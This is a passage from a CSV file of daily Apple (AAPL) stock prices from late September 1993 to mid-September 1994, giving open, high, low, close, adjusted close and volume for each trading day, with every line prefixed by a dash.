-1993-09-28,0.8839285969734192,0.8928571343421936,0.8660714030265808,0.8839285969734192,0.7471473217010498,23637600.0,AAPL
-1993-09-29,0.8660714030265808,0.8883928656578064,0.8482142686843872,0.8526785969734192,0.7207329869270325,59186400.0,AAPL
-1993-09-30,0.8571428656578064,0.8571428656578064,0.8214285969734192,0.8348214030265808,0.7056389451026917,68726000.0,AAPL
-1993-10-01,0.8125,0.8214285969734192,0.8035714030265808,0.8125,0.6867718696594238,83997200.0,AAPL
-1993-10-04,0.8080357313156128,0.8214285969734192,0.7857142686843872,0.8125,0.6867718696594238,48210400.0,AAPL
-1993-10-05,0.8214285969734192,0.8571428656578064,0.8214285969734192,0.8392857313156128,0.7094123959541321,44077600.0,AAPL
-1993-10-06,0.8482142686843872,0.8571428656578064,0.8348214030265808,0.84375,0.7131861448287964,43820000.0,AAPL
-1993-10-07,0.8392857313156128,0.8482142686843872,0.8125,0.8214285969734192,0.6943187117576599,33726000.0,AAPL
-1993-10-08,0.8303571343421936,0.8303571343421936,0.7946428656578064,0.8080357313156128,0.6829982995986938,34851600.0,AAPL
-1993-10-11,0.8125,0.8571428656578064,0.8125,0.8482142686843872,0.7169595956802368,40286400.0,AAPL
-1993-10-12,0.8571428656578064,0.8928571343421936,0.8482142686843872,0.8571428656578064,0.7245063781738281,76585600.0,AAPL
-1993-10-13,0.8660714030265808,0.8660714030265808,0.8392857313156128,0.8571428656578064,0.7245063781738281,44251200.0,AAPL
-1993-10-14,0.8571428656578064,0.875,0.8392857313156128,0.8482142686843872,0.7169595956802368,40171600.0,AAPL
-1993-10-15,0.9910714030265808,1.0178571939468384,0.9553571343421936,1.0089285373687744,0.8528044819831848,238812000.0,AAPL
-1993-10-18,1.0,1.0267857313156128,0.9910714030265808,1.0133928060531616,0.8565779328346252,83249600.0,AAPL
-1993-10-19,1.0089285373687744,1.0178571939468384,0.9732142686843872,0.9910714030265808,0.8377103805541992,53393200.0,AAPL
-1993-10-20,1.0,1.0089285373687744,0.9732142686843872,0.9910714030265808,0.8377103805541992,34602400.0,AAPL
-1993-10-21,0.9821428656578064,1.1160714626312256,0.9732142686843872,1.0803571939468384,0.9131799936294556,156777600.0,AAPL
-1993-10-22,1.0892857313156128,1.125,1.0625,1.0803571939468384,0.9131799936294556,99019200.0,AAPL
-1993-10-25,1.0803571939468384,1.0892857313156128,1.0580357313156128,1.0714285373687744,0.9056331515312195,54782000.0,AAPL
-1993-10-26,1.0625,1.0714285373687744,1.0357142686843872,1.0625,0.8980861902236938,55619200.0,AAPL
-1993-10-27,1.0714285373687744,1.1517857313156128,1.0625,1.1339285373687744,0.9584617614746094,114766400.0,AAPL
-1993-10-28,1.1339285373687744,1.1517857313156128,1.1071428060531616,1.1071428060531616,0.9358206987380981,61115600.0,AAPL
-1993-10-29,1.1071428060531616,1.1339285373687744,1.0892857313156128,1.0982142686843872,0.9282740354537964,34216000.0,AAPL
-1993-11-01,1.0982142686843872,1.125,1.0803571939468384,1.125,0.9509148001670837,26493600.0,AAPL
-1993-11-02,1.1160714626312256,1.1785714626312256,1.1071428060531616,1.1696428060531616,0.988649308681488,56061600.0,AAPL
-1993-11-03,1.1785714626312256,1.1785714626312256,1.1071428060531616,1.1294642686843872,0.954688310623169,44240000.0,AAPL
-1993-11-04,1.125,1.1517857313156128,1.0982142686843872,1.1517857313156128,0.9735553860664368,46342800.0,AAPL
-1993-11-05,1.1383928060531616,1.1517857313156128,1.0982142686843872,1.1383928060531616,0.9622348546981812,94508400.0,AAPL
-1993-11-08,1.1428571939468384,1.1473214626312256,1.0892857313156128,1.0982142686843872,0.9282740354537964,41748000.0,AAPL
-1993-11-09,1.1071428060531616,1.1160714626312256,1.0625,1.0758928060531616,0.9094064831733704,42812000.0,AAPL
-1993-11-10,1.0803571939468384,1.0982142686843872,1.0714285373687744,1.0982142686843872,0.9282740354537964,19244400.0,AAPL
-1993-11-11,1.0982142686843872,1.1428571939468384,1.0892857313156128,1.1205357313156128,0.9471412897109985,35607600.0,AAPL
-1993-11-12,1.125,1.1428571939468384,1.0892857313156128,1.1339285373687744,0.9584617614746094,35915600.0,AAPL
-1993-11-15,1.125,1.1696428060531616,1.125,1.1428571939468384,0.9660090208053589,39275600.0,AAPL
-1993-11-16,1.1428571939468384,1.2232142686843872,1.1339285373687744,1.2142857313156128,1.0263841152191162,75770800.0,AAPL
-1993-11-17,1.2142857313156128,1.25,1.1696428060531616,1.1964285373687744,1.0112899541854858,75656000.0,AAPL
-1993-11-18,1.1964285373687744,1.2053571939468384,1.1785714626312256,1.1964285373687744,1.0112899541854858,28602000.0,AAPL
-1993-11-19,1.1785714626312256,1.1964285373687744,1.1607142686843872,1.1785714626312256,0.9997814893722534,30741200.0,AAPL
-1993-11-22,1.1696428060531616,1.1785714626312256,1.1517857313156128,1.1607142686843872,0.9846329689025879,37651600.0,AAPL
-1993-11-23,1.1607142686843872,1.1785714626312256,1.1160714626312256,1.1785714626312256,0.9997814893722534,46541600.0,AAPL
-1993-11-24,1.1696428060531616,1.1964285373687744,1.1651785373687744,1.1785714626312256,0.9997814893722534,22610000.0,AAPL
-1993-11-26,1.1696428060531616,1.1785714626312256,1.1517857313156128,1.1651785373687744,0.9884202480316162,10861200.0,AAPL
-1993-11-29,1.1517857313156128,1.1607142686843872,1.125,1.1339285373687744,0.961910605430603,24178000.0,AAPL
-1993-11-30,1.1339285373687744,1.1651785373687744,1.125,1.125,0.9543365836143494,28165200.0,AAPL
-1993-12-01,1.1428571939468384,1.1517857313156128,1.1160714626312256,1.125,0.9543365836143494,27804000.0,AAPL
-1993-12-02,1.1339285373687744,1.1428571939468384,1.1071428060531616,1.1339285373687744,0.961910605430603,25163600.0,AAPL
-1993-12-03,1.1339285373687744,1.1428571939468384,1.1071428060531616,1.125,0.9543365836143494,30116800.0,AAPL
-1993-12-06,1.125,1.1607142686843872,1.1160714626312256,1.1517857313156128,0.977059006690979,39244800.0,AAPL
-1993-12-07,1.1428571939468384,1.1517857313156128,1.125,1.1517857313156128,0.977059006690979,15962800.0,AAPL
-1993-12-08,1.1428571939468384,1.1517857313156128,1.125,1.1383928060531616,0.9656976461410522,9898000.0,AAPL
-1993-12-09,1.1339285373687744,1.1428571939468384,1.0625,1.0714285373687744,0.9088919758796692,45690400.0,AAPL
-1993-12-10,1.0803571939468384,1.0892857313156128,0.9910714030265808,1.0089285373687744,0.8558732867240906,124314400.0,AAPL
-1993-12-13,1.0089285373687744,1.0535714626312256,0.9910714030265808,1.0535714626312256,0.8937438726425171,61082000.0,AAPL
-1993-12-14,1.0446428060531616,1.0625,1.0357142686843872,1.0401785373687744,0.8823826313018799,73416000.0,AAPL
-1993-12-15,1.0357142686843872,1.0625,1.0357142686843872,1.0625,0.9013181328773499,30970800.0,AAPL
-1993-12-16,1.0535714626312256,1.0625,1.0357142686843872,1.0491071939468384,0.8899568319320679,31592400.0,AAPL
-1993-12-17,1.0535714626312256,1.0625,1.0401785373687744,1.0535714626312256,0.8937438726425171,36288000.0,AAPL
-1993-12-20,1.0446428060531616,1.0625,1.0089285373687744,1.0178571939468384,0.8634475469589233,47258400.0,AAPL
-1993-12-21,1.0178571939468384,1.0267857313156128,0.9732142686843872,0.9821428656578064,0.8331511616706848,62781600.0,AAPL
-1993-12-22,0.9732142686843872,1.0178571939468384,0.9642857313156128,1.0,0.8482993245124817,45343200.0,AAPL
-1993-12-23,0.9732142686843872,0.9732142686843872,0.9464285969734192,0.9732142686843872,0.8255768418312073,56739200.0,AAPL
-1993-12-27,0.9910714030265808,1.0267857313156128,0.9732142686843872,1.0178571939468384,0.8634475469589233,39984000.0,AAPL
-1993-12-28,1.0267857313156128,1.0535714626312256,1.0178571939468384,1.0401785373687744,0.8823826313018799,39874800.0,AAPL
-1993-12-29,1.0446428060531616,1.0446428060531616,1.0178571939468384,1.0178571939468384,0.8634475469589233,26838000.0,AAPL
-1993-12-30,1.0178571939468384,1.0803571939468384,1.0178571939468384,1.0625,0.9013181328773499,78638000.0,AAPL
-1993-12-31,1.0625,1.0803571939468384,1.0446428060531616,1.0446428060531616,0.8861698508262634,40241600.0,AAPL
-1994-01-03,1.0535714626312256,1.0714285373687744,1.0357142686843872,1.0669642686843872,0.9051049947738647,45382400.0,AAPL
-1994-01-04,1.0803571939468384,1.125,1.0714285373687744,1.125,0.9543365836143494,71293600.0,AAPL
-1994-01-05,1.1339285373687744,1.2098214626312256,1.1339285373687744,1.2053571939468384,1.0225037336349487,153034000.0,AAPL
-1994-01-06,1.2053571939468384,1.2142857313156128,1.1607142686843872,1.1696428060531616,0.9922074675559998,91627200.0,AAPL
-1994-01-07,1.1428571939468384,1.1875,1.1160714626312256,1.1830357313156128,1.0035685300827026,74698400.0,AAPL
-1994-01-10,1.1785714626312256,1.2098214626312256,1.1696428060531616,1.2008928060531616,1.018716812133789,50397200.0,AAPL
-1994-01-11,1.1964285373687744,1.2053571939468384,1.1339285373687744,1.1383928060531616,0.9656976461410522,88849600.0,AAPL
-1994-01-12,1.1517857313156128,1.1517857313156128,1.0892857313156128,1.0892857313156128,0.9240402579307556,109779600.0,AAPL
-1994-01-13,1.0714285373687744,1.0982142686843872,1.0625,1.09375,0.9278273582458496,132899200.0,AAPL
-1994-01-14,1.0982142686843872,1.1339285373687744,1.0892857313156128,1.1071428060531616,0.9391883611679077,53628400.0,AAPL
-1994-01-17,1.1071428060531616,1.125,1.0714285373687744,1.0848214626312256,0.9202530384063721,36428000.0,AAPL
-1994-01-18,1.0803571939468384,1.0803571939468384,1.0357142686843872,1.0491071939468384,0.8899568319320679,90700400.0,AAPL
-1994-01-19,1.0446428060531616,1.0625,1.0267857313156128,1.0446428060531616,0.8861698508262634,70397600.0,AAPL
-1994-01-20,1.0535714626312256,1.0982142686843872,1.0535714626312256,1.0669642686843872,0.9051049947738647,67020800.0,AAPL
-1994-01-21,1.1875,1.1964285373687744,1.1517857313156128,1.1919642686843872,1.011142611503601,245033600.0,AAPL
-1994-01-24,1.1875,1.2589285373687744,1.1875,1.25,1.060374140739441,173037200.0,AAPL
-1994-01-25,1.2410714626312256,1.25,1.1875,1.2098214626312256,1.0262905359268188,110583200.0,AAPL
-1994-01-26,1.2053571939468384,1.2142857313156128,1.1875,1.1964285373687744,1.014929175376892,41451200.0,AAPL
-1994-01-27,1.1964285373687744,1.2232142686843872,1.1785714626312256,1.21875,1.0338648557662964,33062400.0,AAPL
-1994-01-28,1.2232142686843872,1.2410714626312256,1.2053571939468384,1.2142857313156128,1.0300776958465576,34109600.0,AAPL
-1994-01-31,1.1964285373687744,1.2053571939468384,1.1696428060531616,1.1696428060531616,0.9922074675559998,59595200.0,AAPL
-1994-02-01,1.1785714626312256,1.1964285373687744,1.1517857313156128,1.1875,1.0073553323745728,39180400.0,AAPL
-1994-02-02,1.1875,1.1875,1.1607142686843872,1.1785714626312256,0.9997814893722534,36612800.0,AAPL
-1994-02-03,1.1785714626312256,1.2008928060531616,1.1607142686843872,1.1964285373687744,1.014929175376892,34498800.0,AAPL
-1994-02-04,1.1964285373687744,1.25,1.1875,1.1964285373687744,1.014929175376892,88502400.0,AAPL
-1994-02-07,1.1964285373687744,1.3258928060531616,1.1964285373687744,1.3035714626312256,1.1097981929779053,181361600.0,AAPL
-1994-02-08,1.2857142686843872,1.3035714626312256,1.2589285373687744,1.2767857313156128,1.0869942903518677,71346800.0,AAPL
-1994-02-09,1.2767857313156128,1.3035714626312256,1.2589285373687744,1.2946428060531616,1.1021966934204102,46746000.0,AAPL
-1994-02-10,1.2946428060531616,1.3392857313156128,1.2857142686843872,1.3035714626312256,1.1097981929779053,75507600.0,AAPL
-1994-02-11,1.2946428060531616,1.3392857313156128,1.2946428060531616,1.3214285373687744,1.1250007152557373,41062000.0,AAPL
-1994-02-14,1.3214285373687744,1.3571428060531616,1.3125,1.3214285373687744,1.1250007152557373,61387200.0,AAPL
-1994-02-15,1.3125,1.3392857313156128,1.2946428060531616,1.3258928060531616,1.1288014650344849,32443600.0,AAPL
-1994-02-16,1.3392857313156128,1.3392857313156128,1.3125,1.3125,1.1173994541168213,30506000.0,AAPL
-1994-02-17,1.3303571939468384,1.3526785373687744,1.2946428060531616,1.3214285373687744,1.1250007152557373,36288000.0,AAPL
-1994-02-18,1.3035714626312256,1.3214285373687744,1.2946428060531616,1.2946428060531616,1.1021966934204102,37268000.0,AAPL
-1994-02-22,1.2946428060531616,1.3392857313156128,1.2767857313156128,1.3303571939468384,1.1326022148132324,53642400.0,AAPL
-1994-02-23,1.3303571939468384,1.3660714626312256,1.3214285373687744,1.3303571939468384,1.1326022148132324,65133600.0,AAPL
-1994-02-24,1.3214285373687744,1.3303571939468384,1.2946428060531616,1.3080357313156128,1.1135988235473633,49464800.0,AAPL
-1994-02-25,1.3214285373687744,1.3303571939468384,1.2678571939468384,1.2857142686843872,1.0945953130722046,59206000.0,AAPL
-1994-02-28,1.2946428060531616,1.3214285373687744,1.2857142686843872,1.3035714626312256,1.1097981929779053,30956800.0,AAPL
-1994-03-01,1.3125,1.3125,1.2767857313156128,1.2946428060531616,1.1021966934204102,52967600.0,AAPL
-1994-03-02,1.2589285373687744,1.2946428060531616,1.2410714626312256,1.2723214626312256,1.083193063735962,73536400.0,AAPL
-1994-03-03,1.2767857313156128,1.2946428060531616,1.2678571939468384,1.2767857313156128,1.0869942903518677,47118400.0,AAPL
-1994-03-04,1.2857142686843872,1.3392857313156128,1.2767857313156128,1.3125,1.1173994541168213,56711200.0,AAPL
-1994-03-07,1.3214285373687744,1.3616071939468384,1.3125,1.3526785373687744,1.1516057252883911,77599200.0,AAPL
-1994-03-08,1.3571428060531616,1.3571428060531616,1.3125,1.3214285373687744,1.1250007152557373,46513600.0,AAPL
-1994-03-09,1.3080357313156128,1.3392857313156128,1.2857142686843872,1.3392857313156128,1.1402034759521484,62134800.0,AAPL
-1994-03-10,1.3303571939468384,1.34375,1.3125,1.3303571939468384,1.1326022148132324,35940800.0,AAPL
-1994-03-11,1.3214285373687744,1.3482142686843872,1.3125,1.3303571939468384,1.1326022148132324,40460000.0,AAPL
-1994-03-14,1.375,1.375,1.3482142686843872,1.3616071939468384,1.1592066287994385,110426400.0,AAPL
-1994-03-15,1.3660714626312256,1.3660714626312256,1.3303571939468384,1.34375,1.144004225730896,51136400.0,AAPL
-1994-03-16,1.3392857313156128,1.3482142686843872,1.3035714626312256,1.3125,1.1173994541168213,36792000.0,AAPL
-1994-03-17,1.3125,1.3214285373687744,1.2946428060531616,1.3035714626312256,1.1097981929779053,39057200.0,AAPL
-1994-03-18,1.3125,1.3125,1.2767857313156128,1.2991071939468384,1.1059973239898682,55918800.0,AAPL
-1994-03-21,1.2991071939468384,1.3035714626312256,1.2589285373687744,1.2678571939468384,1.079392910003662,61628000.0,AAPL
-1994-03-22,1.2589285373687744,1.2678571939468384,1.2321428060531616,1.25,1.0641900300979614,60706800.0,AAPL
-1994-03-23,1.2589285373687744,1.2678571939468384,1.2232142686843872,1.2544642686843872,1.0679906606674194,54171600.0,AAPL
-1994-03-24,1.2544642686843872,1.2589285373687744,1.2142857313156128,1.2366071939468384,1.0527878999710083,47023200.0,AAPL
-1994-03-25,1.2410714626312256,1.2410714626312256,1.1696428060531616,1.1696428060531616,0.9957779049873352,85909600.0,AAPL
-1994-03-28,1.1785714626312256,1.2142857313156128,1.1696428060531616,1.1875,1.0109803676605225,70644000.0,AAPL
-1994-03-29,1.1875,1.2053571939468384,1.1517857313156128,1.1696428060531616,0.9957779049873352,53379200.0,AAPL
-1994-03-30,1.1607142686843872,1.1875,1.1339285373687744,1.1607142686843872,0.9881760478019714,42456400.0,AAPL
-1994-03-31,1.1607142686843872,1.1964285373687744,1.125,1.1875,1.0109803676605225,52264800.0,AAPL
-1994-04-04,1.1517857313156128,1.1875,1.1339285373687744,1.1875,1.0109803676605225,42075600.0,AAPL
-1994-04-05,1.2053571939468384,1.2232142686843872,1.1964285373687744,1.1964285373687744,1.018581509590149,24474800.0,AAPL
-1994-04-06,1.2142857313156128,1.2142857313156128,1.1696428060531616,1.1964285373687744,1.018581509590149,32272800.0,AAPL
-1994-04-07,1.1964285373687744,1.2053571939468384,1.1696428060531616,1.1919642686843872,1.0147812366485596,19342400.0,AAPL
-1994-04-08,1.2053571939468384,1.2142857313156128,1.1875,1.1964285373687744,1.018581509590149,44212000.0,AAPL
-1994-04-11,1.1964285373687744,1.1964285373687744,1.1607142686843872,1.1964285373687744,1.018581509590149,26706400.0,AAPL
-1994-04-12,1.1919642686843872,1.1919642686843872,1.1339285373687744,1.1428571939468384,0.9729737043380737,34207600.0,AAPL
-1994-04-13,1.1517857313156128,1.1607142686843872,1.1160714626312256,1.1339285373687744,0.9653719663619995,58284800.0,AAPL
-1994-04-14,1.0892857313156128,1.1339285373687744,1.0714285373687744,1.125,0.9577711224555969,55498800.0,AAPL
-1994-04-15,1.1160714626312256,1.125,1.0714285373687744,1.0803571939468384,0.9197642207145691,47087600.0,AAPL
-1994-04-18,1.0892857313156128,1.0892857313156128,1.0446428060531616,1.0580357313156128,0.9007605314254761,57573600.0,AAPL
-1994-04-19,1.0625,1.0714285373687744,1.0178571939468384,1.0357142686843872,0.8817573189735413,41563200.0,AAPL
-1994-04-20,1.0446428060531616,1.0714285373687744,1.0,1.0089285373687744,0.858953058719635,70462000.0,AAPL
-1994-04-21,1.0178571939468384,1.0892857313156128,0.9642857313156128,1.0580357313156128,0.9007605314254761,102634000.0,AAPL
-1994-04-22,1.1160714626312256,1.1428571939468384,1.0178571939468384,1.0625,0.9045615792274475,174456800.0,AAPL
-1994-04-25,1.0625,1.1071428060531616,1.0535714626312256,1.1071428060531616,0.942568302154541,89810000.0,AAPL
-1994-04-26,1.125,1.125,1.1071428060531616,1.1160714626312256,0.9501697421073914,41056400.0,AAPL
-1994-04-28,1.1071428060531616,1.1160714626312256,1.0625,1.0803571939468384,0.9197642207145691,25118800.0,AAPL
-1994-04-29,1.0714285373687744,1.0892857313156128,1.0625,1.0714285373687744,0.9121626615524292,23696400.0,AAPL
-1994-05-02,1.0714285373687744,1.1160714626312256,1.0714285373687744,1.1071428060531616,0.942568302154541,30805600.0,AAPL
-1994-05-03,1.1071428060531616,1.1160714626312256,1.0535714626312256,1.0803571939468384,0.9197642207145691,33224800.0,AAPL
-1994-05-04,1.1071428060531616,1.1875,1.0892857313156128,1.1785714626312256,1.0033791065216064,91039200.0,AAPL
-1994-05-05,1.1875,1.2053571939468384,1.1517857313156128,1.1741071939468384,0.9995783567428589,72083200.0,AAPL
-1994-05-06,1.1517857313156128,1.1696428060531616,1.1160714626312256,1.1540178060531616,0.9824751615524292,46944800.0,AAPL
-1994-05-09,1.1517857313156128,1.1607142686843872,1.0982142686843872,1.1160714626312256,0.9501697421073914,35117600.0,AAPL
-1994-05-10,1.1339285373687744,1.1428571939468384,1.1071428060531616,1.1071428060531616,0.942568302154541,36710800.0,AAPL
-1994-05-11,1.1071428060531616,1.125,1.0625,1.0803571939468384,0.9197642207145691,36380400.0,AAPL
-1994-05-12,1.0892857313156128,1.0982142686843872,1.0535714626312256,1.0602678060531616,0.9026609063148499,26776400.0,AAPL
-1994-05-13,1.0625,1.0892857313156128,1.0446428060531616,1.0714285373687744,0.9121626615524292,23153200.0,AAPL
-1994-05-16,1.0714285373687744,1.0892857313156128,1.0535714626312256,1.0535714626312256,0.8969600796699524,33846400.0,AAPL
-1994-05-17,1.0625,1.0625,1.0267857313156128,1.0491071939468384,0.8931593298912048,45026800.0,AAPL
-1994-05-18,1.0625,1.0982142686843872,1.0446428060531616,1.09375,0.9311662316322327,30965200.0,AAPL
-1994-05-19,1.0982142686843872,1.1607142686843872,1.0892857313156128,1.1473214626312256,0.9767740964889526,68395600.0,AAPL
-1994-05-20,1.1339285373687744,1.1517857313156128,1.1071428060531616,1.109375,0.9444682002067566,24536400.0,AAPL
-1994-05-23,1.1071428060531616,1.1160714626312256,1.0714285373687744,1.0892857313156128,0.9273654222488403,29988000.0,AAPL
-1994-05-24,1.1071428060531616,1.1160714626312256,1.0803571939468384,1.0982142686843872,0.9349668622016907,31612000.0,AAPL
-1994-05-25,1.0803571939468384,1.1339285373687744,1.0714285373687744,1.1160714626312256,0.9501697421073914,34028400.0,AAPL
-1994-05-26,1.125,1.125,1.0803571939468384,1.0892857313156128,0.9273654222488403,18258800.0,AAPL
-1994-05-27,1.0803571939468384,1.0982142686843872,1.0535714626312256,1.0691964626312256,0.9138618111610413,27171200.0,AAPL
-1994-05-31,1.0535714626312256,1.0535714626312256,1.0178571939468384,1.0446428060531616,0.8928753733634949,64349600.0,AAPL
-1994-06-01,1.0178571939468384,1.0223214626312256,0.9955357313156128,1.0089285373687744,0.8623495101928711,96440400.0,AAPL
-1994-06-02,1.0133928060531616,1.0178571939468384,0.96875,0.9776785969734192,0.8356397151947021,96230400.0,AAPL
-1994-06-03,0.96875,1.0,0.9553571343421936,0.9866071343421936,0.8432710766792297,88421200.0,AAPL
-1994-06-06,0.9821428656578064,0.9910714030265808,0.9642857313156128,0.9776785969734192,0.8356397151947021,31508400.0,AAPL
-1994-06-07,0.9732142686843872,0.9910714030265808,0.9732142686843872,0.9821428656578064,0.8394554853439331,35061600.0,AAPL
-1994-06-08,0.9821428656578064,0.9866071343421936,0.9285714030265808,0.9330357313156128,0.7974826693534851,68541200.0,AAPL
-1994-06-09,0.9151785969734192,0.9642857313156128,0.9107142686843872,0.9642857313156128,0.8241924047470093,73382400.0,AAPL
-1994-06-10,0.96875,0.9776785969734192,0.9419642686843872,0.9464285969734192,0.8089298009872437,35683200.0,AAPL
-1994-06-13,0.9419642686843872,0.9709821343421936,0.9419642686843872,0.9642857313156128,0.8241924047470093,23226000.0,AAPL
-1994-06-14,0.9732142686843872,0.9776785969734192,0.9508928656578064,0.9665178656578064,0.8261004090309143,38589600.0,AAPL
-1994-06-15,0.9642857313156128,1.0,0.9598214030265808,0.9933035969734192,0.8489945530891418,39869200.0,AAPL
-1994-06-16,0.9910714030265808,0.9910714030265808,0.9330357313156128,0.9419642686843872,0.8051140308380127,54555200.0,AAPL
-1994-06-17,0.9285714030265808,0.9553571343421936,0.9241071343421936,0.9464285969734192,0.8089298009872437,56123200.0,AAPL
-1994-06-20,0.9375,0.9732142686843872,0.9285714030265808,0.96875,0.8280082941055298,49974400.0,AAPL
-1994-06-21,0.9598214030265808,0.9732142686843872,0.9196428656578064,0.9285714030265808,0.7936670184135437,60818800.0,AAPL
-1994-06-22,0.9375,0.9553571343421936,0.9285714030265808,0.9375,0.801298201084137,28464800.0,AAPL
-1994-06-23,0.9375,0.9375,0.8883928656578064,0.8973214030265808,0.7669568657875061,50974000.0,AAPL
-1994-06-24,0.8973214030265808,0.9330357313156128,0.8839285969734192,0.9146205186843872,0.781742513179779,73214400.0,AAPL
-1994-06-27,0.9017857313156128,0.9375,0.8794642686843872,0.9375,0.801298201084137,63988400.0,AAPL
-1994-06-28,0.9375,0.96875,0.9151785969734192,0.9553571343421936,0.8165610432624817,43556800.0,AAPL
-1994-06-29,0.9553571343421936,0.96875,0.9241071343421936,0.9330357313156128,0.7974826693534851,33891200.0,AAPL
-1994-06-30,0.9375,0.9598214030265808,0.9375,0.9464285969734192,0.8089298009872437,25432400.0,AAPL
-1994-07-01,0.9419642686843872,0.9464285969734192,0.90625,0.9196428656578064,0.7860353589057922,44819600.0,AAPL
-1994-07-05,0.9151785969734192,0.9553571343421936,0.9151785969734192,0.9464285969734192,0.8089298009872437,21462000.0,AAPL
-1994-07-06,0.9375,0.9464285969734192,0.9285714030265808,0.9330357313156128,0.7974826693534851,24346000.0,AAPL
-1994-07-07,0.9241071343421936,0.9642857313156128,0.9107142686843872,0.9575892686843872,0.8184689283370972,42537600.0,AAPL
-1994-07-08,0.9464285969734192,0.9866071343421936,0.9464285969734192,0.9665178656578064,0.8261004090309143,52057600.0,AAPL
-1994-07-11,0.96875,0.9776785969734192,0.9508928656578064,0.9642857313156128,0.8241924047470093,26605600.0,AAPL
-1994-07-12,0.9642857313156128,1.015625,0.9419642686843872,1.0133928060531616,0.866165280342102,60578000.0,AAPL
-1994-07-13,1.0178571939468384,1.0803571939468384,1.0178571939468384,1.0602678060531616,0.9062298536300659,112565600.0,AAPL
-1994-07-14,1.0580357313156128,1.0625,1.0089285373687744,1.0223214626312256,0.873796820640564,45166800.0,AAPL
-1994-07-15,1.0083705186843872,1.0223214626312256,0.9821428656578064,1.0089285373687744,0.8623495101928711,23741200.0,AAPL
-1994-07-18,1.0044642686843872,1.0357142686843872,1.0,1.0133928060531616,0.866165280342102,19107200.0,AAPL
-1994-07-19,1.0223214626312256,1.0267857313156128,0.9776785969734192,0.9888392686843872,0.8451787829399109,29092000.0,AAPL
-1994-07-20,0.9776785969734192,0.9866071343421936,0.9419642686843872,0.9508928656578064,0.8127454519271851,54342400.0,AAPL
-1994-07-21,0.9508928656578064,1.0178571939468384,0.9464285969734192,1.0,0.8547181487083435,72368800.0,AAPL
-1994-07-22,1.1294642686843872,1.1417410373687744,1.0714285373687744,1.1071428060531616,0.9462950229644775,196644000.0,AAPL
-1994-07-25,1.1116071939468384,1.1383928060531616,1.0982142686843872,1.1316964626312256,0.9672814011573792,105663600.0,AAPL
-1994-07-26,1.1339285373687744,1.1428571939468384,1.1116071939468384,1.1205357313156128,0.9577420353889465,47202400.0,AAPL
-1994-07-27,1.1160714626312256,1.1205357313156128,1.09375,1.109375,0.9482026696205139,33446000.0,AAPL
-1994-07-28,1.1071428060531616,1.1473214626312256,1.1026785373687744,1.1383928060531616,0.9730049967765808,61328400.0,AAPL
-1994-07-29,1.1383928060531616,1.2142857313156128,1.1383928060531616,1.203125,1.0283327102661133,138941600.0,AAPL
-1994-08-01,1.2008928060531616,1.2053571939468384,1.1696428060531616,1.1919642686843872,1.0187935829162598,57318800.0,AAPL
-1994-08-02,1.1964285373687744,1.2008928060531616,1.15625,1.1629464626312256,0.9939911961555481,67390400.0,AAPL
-1994-08-03,1.1696428060531616,1.1875,1.1473214626312256,1.1830357313156128,1.0111621618270874,56711200.0,AAPL
-1994-08-04,1.1830357313156128,1.2053571939468384,1.1830357313156128,1.1875,1.0149778127670288,46188800.0,AAPL
-1994-08-05,1.1741071939468384,1.1919642686843872,1.1741071939468384,1.1875,1.0149778127670288,21753200.0,AAPL
-1994-08-08,1.1830357313156128,1.2142857313156128,1.1785714626312256,1.2053571939468384,1.0302406549453735,35319200.0,AAPL
-1994-08-09,1.1964285373687744,1.2098214626312256,1.1830357313156128,1.2008928060531616,1.0264251232147217,19650400.0,AAPL
-1994-08-10,1.2008928060531616,1.2455357313156128,1.1875,1.2366071939468384,1.0569506883621216,63392000.0,AAPL
-1994-08-11,1.2232142686843872,1.2544642686843872,1.2098214626312256,1.2254464626312256,1.0474116802215576,74522000.0,AAPL
-1994-08-12,1.2276785373687744,1.2544642686843872,1.2098214626312256,1.2410714626312256,1.060766339302063,44912000.0,AAPL
-1994-08-15,1.2410714626312256,1.25,1.2232142686843872,1.2366071939468384,1.0606170892715454,30018800.0,AAPL
-1994-08-16,1.2276785373687744,1.2410714626312256,1.2142857313156128,1.2410714626312256,1.064445972442627,38934000.0,AAPL
-1994-08-17,1.2455357313156128,1.2633928060531616,1.2366071939468384,1.25,1.0721033811569214,71545600.0,AAPL
-1994-08-18,1.2410714626312256,1.2589285373687744,1.2321428060531616,1.2366071939468384,1.0606170892715454,51564800.0,AAPL
-1994-08-19,1.2410714626312256,1.25,1.2232142686843872,1.2455357313156128,1.0682750940322876,32636800.0,AAPL
-1994-08-22,1.2410714626312256,1.25,1.2366071939468384,1.2455357313156128,1.0682750940322876,38105200.0,AAPL
-1994-08-23,1.2455357313156128,1.28125,1.2410714626312256,1.25,1.0721033811569214,53611600.0,AAPL
-1994-08-24,1.2410714626312256,1.25,1.2276785373687744,1.2455357313156128,1.0682750940322876,42896000.0,AAPL
-1994-08-25,1.2232142686843872,1.2991071939468384,1.2232142686843872,1.2522321939468384,1.0740180015563965,74698400.0,AAPL
-1994-08-26,1.2589285373687744,1.2901785373687744,1.2589285373687744,1.2767857313156128,1.0950775146484375,51049600.0,AAPL
-1994-08-29,1.2767857313156128,1.2901785373687744,1.2589285373687744,1.2633928060531616,1.0835908651351929,38026800.0,AAPL
-1994-08-30,1.2589285373687744,1.2991071939468384,1.2544642686843872,1.2946428060531616,1.1103928089141846,45519600.0,AAPL
-1994-08-31,1.2857142686843872,1.3348214626312256,1.2767857313156128,1.2924107313156128,1.1084786653518677,87959200.0,AAPL
-1994-09-01,1.2633928060531616,1.2767857313156128,1.2366071939468384,1.25,1.0721033811569214,51072000.0,AAPL
-1994-09-02,1.2589285373687744,1.2678571939468384,1.25,1.2633928060531616,1.0835908651351929,25326000.0,AAPL
-1994-09-06,1.2589285373687744,1.2723214626312256,1.25,1.2700892686843872,1.0893338918685913,22856400.0,AAPL
-1994-09-07,1.2723214626312256,1.3080357313156128,1.2633928060531616,1.2901785373687744,1.106563925743103,50974000.0,AAPL
-1994-09-08,1.2857142686843872,1.2946428060531616,1.2723214626312256,1.2901785373687744,1.106563925743103,39709600.0,AAPL
-1994-09-09,1.2767857313156128,1.2857142686843872,1.2633928060531616,1.2767857313156128,1.0950775146484375,39309200.0,AAPL
-1994-09-12,1.2723214626312256,1.2767857313156128,1.2633928060531616,1.2767857313156128,1.0950775146484375,22635200.0,AAPL
-1994-09-13,1.2767857313156128,1.2946428060531616,1.2723214626312256,1.2790178060531616,1.0969918966293335,26056800.0,AAPL
-1994-09-14,1.2723214626312256,1.2767857313156128,1.25,1.2544642686843872,1.0759328603744507,24771600.0,AAPL
-1994-09-15,1.2544642686843872,1.2901785373687744,1.2544642686843872,1.2857142686843872,1.1027352809906006,64738800.0,AAPL
